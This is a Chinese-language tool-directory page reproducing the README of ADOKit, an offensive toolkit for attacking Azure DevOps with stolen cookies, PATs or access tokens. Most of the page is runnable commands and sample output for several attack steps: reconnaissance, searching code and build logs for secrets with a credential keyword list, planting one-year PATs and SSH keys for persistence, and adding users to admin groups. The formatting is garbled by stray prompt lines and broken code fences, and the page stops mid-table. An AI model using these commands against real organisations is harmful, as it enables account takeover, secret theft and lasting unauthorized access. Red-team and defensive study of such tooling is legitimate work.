Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ADOKit — 模块化攻击工具包,利用 Azure DevOps REST API 进行侦察、权限提升和持久化,使用窃取的 Cookie 或 PAT。 | Kitploit
工具/GitHubGitHub/h4wkst3r/adokit
权限提升侦察持久化机制渗透测试云安全红队
GitHubh4wkst3r/adokit

ADOKit

模块化攻击工具包,利用 Azure DevOps REST API 进行侦察、权限提升和持久化,使用窃取的 Cookie 或 PAT。

查看仓库
1556425天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ADOKit

描述

Azure DevOps Services 攻击工具包 - ADOKit 是一款可利用 Azure DevOps Services 的 REST API 对其进行攻击的工具包。用户可以为相应的 Azure DevOps Services 实例指定攻击模块,同时提供有效的凭据(API 密钥或窃取的身份验证 Cookie)。支持的攻击模块包括侦察、权限提升和持久化。ADOKit 采用模块化设计,便于信息安全社区日后添加新模块。

有关 ADOKit 所用技术的完整详情,请参阅 X-Force Red 白皮书。

Black Hat USA Arsenal 2024

本仓库的 BHUSA Arsenal 2024 文件夹中包含演示幻灯片和演示内容。

版本发布

  • ADOKit 1.4.1 版本可在 Releases 中找到

目录

  • ADOKit
  • 目录
  • 安装/构建
    • 使用到的库
    • 预编译版本
    • 自行构建
  • 命令模块
  • 参数/选项
  • 身份验证选项
  • 模块详情表
  • 示例
    • 侦察
      • 验证 Azure DevOps 访问权限
      • Whoami
      • 列出组织
      • 列出仓库
      • 搜索仓库
      • 列出项目
      • 搜索项目
      • 搜索代码
      • 搜索文件
      • 列出用户
      • 搜索用户
      • 列出团队
      • 搜索团队
      • 获取团队成员
      • 列出组
      • 搜索组
      • 获取组成员
      • 获取项目权限
      • 凭据搜索
      • 获取构建日志
      • 列出构建日志
      • 搜索构建日志
    • 持久化
      • 创建 PAT
      • 列出 PAT
      • 移除 PAT
      • 创建 SSH 密钥
      • 列出 SSH 密钥
      • 移除 SSH 密钥
    • 权限提升
      • 添加项目管理员
      • 移除项目管理员
      • 添加构建管理员
      • 移除构建管理员
      • 添加集合管理员
      • 移除集合管理员
      • 添加集合构建管理员
      • 移除集合构建管理员
      • 添加集合构建服务帐户
      • 移除集合构建服务帐户
      • 添加集合服务帐户
      • 移除集合服务帐户
      • 获取管道变量
      • 获取管道机密
      • 获取变量组
      • 获取服务连接
  • 检测
  • 路线图
  • 参考

安装/构建

使用到的库

本项目使用了以下第三方库。

库URL许可证
Fodyhttps://github.com/Fody/FodyMIT 许可证
Newtonsoft.Jsonhttps://github.com/JamesNK/Newtonsoft.JsonMIT 许可证

预编译版本

  • 使用 Releases 中的预编译二进制文件

自行构建

按照以下步骤设置 Visual Studio 以自行编译项目。需要从 NuGet 包管理器安装两个 .NET 库。

  • 加载 Visual Studio 项目,转到“工具”-->“NuGet 包管理器”-->“包管理器设置”
  • 转到“NuGet 包管理器”-->“包源”
  • 添加一个包源,URL 为 https://api.nuget.org/v3/index.json
  • 安装 Costura.Fody NuGet 包。
    • Install-Package Costura.Fody -Version 3.3.3
  • 安装 Newtonsoft.Json 包
    • Install-Package Newtonsoft.Json
  • 现在您可以自行构建项目了!

命令模块

  • 侦察
    • check - 检查组织是否使用 Azure DevOps 以及凭据是否有效
    • whoami - 列出当前用户及其组成员身份
    • listorgs - 列出 Azure DevOps 中可访问或所有组织
    • listrepo - 列出所有仓库
    • searchrepo - 搜索指定的仓库
    • listproject - 列出所有项目
    • searchproject - 搜索指定的项目
    • searchcode - 搜索包含指定搜索词的代码
    • searchfile - 根据搜索词搜索文件
    • listuser - 列出用户
    • searchuser - 搜索指定的用户
    • listteam - 列出团队
    • searchteam - 搜索指定的团队
    • getteammembers - 获取指定团队的团队成员
    • listgroup - 列出组
    • searchgroup - 搜索指定的组
    • getgroupmembers - 列出指定组的所有组成员
    • getpermissions - 获取指定项目的访问权限信息
    • creds - 在代码中搜索凭据(关键词如下所列)
      • "pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"
    • getbuildlogs - 下载一个或所有项目的构建日志
    • listbuildlogs - 列出一个或所有项目的构建日志
    • searchbuildlogs - 搜索构建日志中的指定搜索词
  • 持久化
    • createpat - 为用户创建个人访问令牌
    • listpat - 列出用户的个人访问令牌
    • removepat - 移除用户的个人访问令牌
    • createsshkey - 创建用户的公共 SSH 密钥
    • listsshkey - 列出用户的公共 SSH 密钥
    • removesshkey - 移除用户的公共 SSH 密钥
  • 权限提升
    • addprojectadmin - 将用户添加到指定项目的“项目管理员”组
    • removeprojectadmin - 将用户从指定项目的“项目管理员”组中移除
    • addbuildadmin - 将用户添加到指定项目的“构建管理员”组
    • removebuildadmin - 将用户从指定项目的“构建管理员”组中移除

参数/选项

  • /credential: - 用于身份验证的凭据(PAT 或 Cookie)。适用于所有模块。
  • /url: - Azure DevOps URL。适用于所有模块。
  • /search: - 要搜索的关键词。并非适用于所有模块。
  • /project: - 要执行操作的项目。并非适用于所有模块。
  • /user: - 针对特定用户执行操作。并非适用于所有模块。
  • /id: - 与持久化模块配合使用,用于针对特定令牌 ID 执行操作。并非适用于所有模块。
  • /group: - 针对特定组执行操作。并非适用于所有模块。

身份验证选项

以下是使用 ADOKit 向 Azure DevOps 实例进行身份验证时可供选择的认证方式。

  • 窃取的 Cookie - UserAuthentication - 该 cookie 是用户计算机上 .dev.azure.com 域下的 UserAuthentication cookie。
    • /credential:UserAuthentication=ABC123
  • 窃取的 Cookie - AadAuthentication - 该 cookie 是用户计算机上 .dev.azure.com 域下的 AadAuthentication cookie。
    • /credential:eyJ0...
  • 个人访问令牌 (PAT) - 这是一个访问令牌/API 密钥,为单个字符串。
    • /credential:apiToken
  • 窃取的访问令牌 - 如果你能窃取或刷新一个合适的访问令牌,也可以使用它。使用时,访问令牌必须对 Azure 资源管理器 (ARM) 资源有效("aud":"https://management.core.windows.net/")或对 Azure DevOps 资源有效("aud":"499b84ac-1321-427f-aa17-267ca6975798")
    • /credential:eyJ0..

模块详情表

下表显示了每个模块所需的权限。

示例

验证 Azure DevOps 访问权限

使用场景

执行身份验证检查,确保组织正在使用 Azure DevOps,并且所提供的凭据有效。

语法

提供 check 模块,以及相关的身份验证信息和 URL。这将输出该组织是否正在使用 Azure DevOps,如果是,则尝试验证所提供的凭据。

ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

示例输出```

C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/28/2023 3:33:01 PM

[*] INFO: Checking if organization provided uses Azure DevOps

[+] SUCCESS: Organization provided exists in Azure DevOps

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

3/28/23 19:33:02 Finished execution of check

root@kitploit:~
### Whoami

#### 用例

> *获取当前用户及其组成员身份*

#### 语法

提供 `whoami` 模块,以及相关的认证信息和 URL。这将输出当前用户及其所有组成员身份。

`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 示例输出```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization

==================================================
Module:         whoami
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 11:33:12 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                          jsmith |                                        John Smith |          [email protected]


[*] INFO: Listing group memberships for the current user


                                                             Group UPN |                                       Display Name |                                        Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    [YourOrganization]\Project Collection Test Service Accounts |           Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
                                           [TestProject2]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                                           [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [YourOrganization]\Project Collection Administrators |                  Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.

4/4/23 15:33:19 Finished execution of whoami

列出组织

用例

使用给定的访问令牌检索组织信息。

语法

为 listorgs 模块提供所需的认证信息。默认情况下,该命令仅列出使用所提供的访问令牌可访问的组织。

  • 使用 /mode:aad 枚举 Azure AD 租户内的 所有 DevOps 组织,无论是否具有直接访问权限。
  • 使用 /endpoint:ENDPOINT_NAME 指定自定义 AEX 端点。
    • 可通过检查来自 aex.dev.azure.com 的 "X-VSS-DeploymentAffinity" cookie 来识别其他端点。

ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]

ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21

示例输出```

C:>ADOKit.exe listorgs /credential:"eyj0..."

================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com

Timestamp: 3/14/2025 2:26:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                     Organization ID |                        Organization Name

root@kitploit:~
390a7474-e2f2-4b98-b538-4a547fa9f5e3 |                             solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e |                             lunar-devops
root@kitploit:~
### 列表仓库

#### 使用场景

> *发现Azure DevOps实例中正在使用的仓库*

#### 语法

提供`listrepo`模块,以及任何相关的身份验证信息和URL。这将输出仓库名称和URL。

`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 示例输出```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listrepo
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 8:41:50 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |                                                URL
-----------------------------------------------------------------------------------
                  TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
                  MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
                 SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
                   AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
      ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
                   TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 12:41:53 Finished execution of listrepo

搜索仓库

使用场景

在 Azure DevOps 实例中按仓库名称搜索仓库

语法

提供 searchrepo 模块和在 /search: 命令行参数中提供搜索条件,以及相关的身份验证信息和 URL。这将输出匹配的仓库名称和 URL。

ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

示例输出```

C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 9:26:57 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |                                                URL

root@kitploit:~
              TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
               TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 13:26:59 Finished execution of searchrepo

root@kitploit:~
### 列出项目

#### 使用场景

> *发现 Azure DevOps 实例中正在使用的项目*

#### 语法

提供 `listproject` 模块,以及相关的身份验证信息和 URL。这将输出项目名称、可见性(公共或私有)和 URL。

`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 示例输出```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listproject
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 7:44:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |      Visibility |                                                URL
-----------------------------------------------------------------------------------------------------
                  TestProject2 |         private | https://dev.azure.com/YourOrganization/TestProject2
                  MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap
      ProjectWithMultipleRepos |         private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
                   TestProject |         private | https://dev.azure.com/YourOrganization/TestProject

4/4/23 11:45:04 Finished execution of listproject

搜索项目

使用场景

按项目名称在 Azure DevOps 实例中搜索项目

语法

提供 searchproject 模块和 /search: 命令行参数中的搜索条件,以及相关的认证信息和 URL。这将输出匹配的项目名称、可见性(公开或私有)和 URL。

ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

输出示例```

C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"

================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 7:45:30 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |      Visibility |                                                URL

root@kitploit:~
              MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap

4/4/23 11:45:31 Finished execution of searchproject

root@kitploit:~
### 搜索代码

#### 使用场景

> *在 Azure DevOps 实例中搜索包含给定关键字的代码*

#### 语法

提供 `searchcode` 模块及 `/search:` 命令行参数中的搜索条件,同时提供相关认证信息和 URL。输出结果将显示匹配代码文件的 URL,以及代码中匹配的行。

`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`

`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`

#### 示例输出```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"

==================================================
Module:         searchcode
Auth Type:      Cookie
Search Term:    password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 3:22:21 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[*] Match count : 3

3/29/23 19:22:22 Finished execution of searchcode

搜索文件

用例

在 Azure DevOps 的仓库中搜索文件名包含给定关键字的文件

语法

在 /search: 命令行参数中提供 searchfile 模块和搜索条件,以及相关的认证信息和 URL。这将输出匹配文件在其对应仓库中的 URL。

ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline

ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline

示例输出```

C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 11:28:34 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                                                        File URL

https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs

3/29/23 15:28:37 Finished execution of searchfile

root@kitploit:~
### 凭据搜索

#### 使用场景

> *在 Azure DevOps 中搜索包含密码或 API 密钥等机密的代码*

#### 语法

提供 `creds` 模块,以及相关的认证信息和 URL。这将输出匹配文件在其各自仓库中的 URL,以及存在凭据的匹配行。

`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 示例输出```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         creds
Auth Type:      Cookie
Search Term:    pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/30/2023 10:17:49 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ API_KEY=ABC123

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
    |_ Password: ItIsSuperSecret!

[*] Match count : 5

3/30/23 14:17:54 Finished execution of creds

获取构建日志

使用场景

下载所有管道运行(构建日志)的日志。然后你可以离线搜索信息和/或密钥。

语法

提供 getbuildlogs 模块以及给定项目的 /project: 参数,即可下载该项目的所有构建日志。如果你想下载所有项目的日志,请在 /project: 参数中指定 all。这将在当前工作目录中创建一个名为 ADOKit-[随机8字符] 的文件夹,用于存放下载的日志。

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"

示例输出```

C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 8:15:27 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ

[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ

root@kitploit:~
### 列出构建日志

#### 使用场景

> *列出指定项目或所有项目的可用构建日志。*

#### 语法

提供 `listbuildlogs` 模块及指定的 `/project:` 参数,可列出该项目的所有构建日志。如需列出所有项目的构建日志,请在 `/project:` 参数中指定 `all`。

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`

#### 示例输出```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

==================================================
Module:         listbuildlogs
Auth Type:      API Key
Project:        TestProject2
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 8:14:57 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

  Build ID |                     Build Name |   Num Logs |                                                URL
-------------------------------------------------------------------------------------------------------------
        94 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
        92 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
        64 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64

搜索构建日志

使用场景

在Azure DevOps实例中搜索包含指定关键字的构建日志

语法

提供 searchbuildlogs 模块,并在 /search: 命令行参数中指定搜索条件,同时通过 /project: 参数指定项目,以搜索该项目的所有构建日志。如果要搜索所有项目的构建日志,请在 /project: 参数中指定 all。输出将包含匹配的构建输出日志文件的 URL,以及构建日志中匹配的行。

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

示例输出```

C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"

================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:06:20 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Searching build logs

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1

-----------SNIP-----------

[*] Match count : 9

root@kitploit:~
### 创建 PAT

#### 使用场景

> *为用户创建个人访问令牌 (PAT),可用于持久化访问 Azure DevOps 实例。*

#### 语法

提供 `createpat` 模块,以及相关的认证信息和 URL。这将输出所创建 PAT 的 ID、名称、作用域、有效期至日期以及令牌内容。创建的 PAT 名称将以 `ADOKit-` 开头,后接 8 个随机字符。PAT 的有效期至日期为创建日期起一年,这是 Azure DevOps 允许的最长期限。

`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 示例输出```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         createpat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/31/2023 2:33:09 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                  PAT ID |                           Name |                          Scope |                    Valid Until |                                        Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM | tokenValueWouldBeHere

3/31/23 18:33:10 Finished execution of createpat

列出 PATs

用例

列出 Azure DevOps 实例中给定用户的所有个人访问令牌 (PAT)。

语法

提供 listpat 模块,以及相关的认证信息和 URL。这将输出用户所有活跃 PAT 的 PAT ID、名称、作用域和有效截止日期。

ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

示例输出```

C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/31/2023 2:33:17 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                              PAT ID |                           Name |                          Scope |                    Valid Until

root@kitploit:~
9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM

3/31/23 18:33:18 Finished execution of listpat

root@kitploit:~
### Remove PAT

#### 使用场景

> *移除指定用户在 Azure DevOps 实例中的 PAT。*

#### 语法

提供 `removepat` 模块以及相关的身份验证信息和 URL。此外,在 `/id:` 参数中提供 PAT 的 ID。这将输出 PAT 是否被移除,然后会在执行移除后列出用户当前处于活动状态的 PAT。

`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`

`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`

#### 示例输出```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298

==================================================
Module:         removepat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:04:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.

                                  PAT ID |                           Name |                          Scope |                    Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
    9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM

4/3/23 15:05:00 Finished execution of removepat

创建 SSH 密钥

使用场景

为用户创建 SSH 密钥,可用于持久化访问 Azure DevOps 实例。

语法

提供 createsshkey 模块,以及相关认证信息和 URL。此外,在 /sshkey: 参数中提供您的公钥。这将输出所创建 SSH 密钥的 ID、名称、作用域、有效期以及公钥的最后 20 个字符。创建的 SSH 密钥名称为 ADOKit- 后跟 8 个随机字符。SSH 密钥的有效期自创建之日起为 1 年,这是 Azure DevOps 允许的最大期限。

ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"

示例输出```

C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"

================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 2:51:22 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 |                       ADOKit-iCBfYfFR |                      app_token |           4/3/2024 12:00:00 AM |   ...hOLNYMk5LkbLRMG36RE=

4/3/23 18:51:24 Finished execution of createsshkey

root@kitploit:~
### 列出 SSH 密钥

#### 使用场景

> *列出 Azure DevOps 实例中指定用户的所有公共 SSH 密钥。*

#### 语法

提供 `listsshkey` 模块以及任何相关的身份验证信息和 URL。这将输出用户所有活动 SSH 密钥的 SSH 密钥 ID、名称、作用域和有效期。此外,它还会打印公共 SSH 密钥的最后 20 个字符。

`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 示例输出```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listsshkey
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:37:10 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                              SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
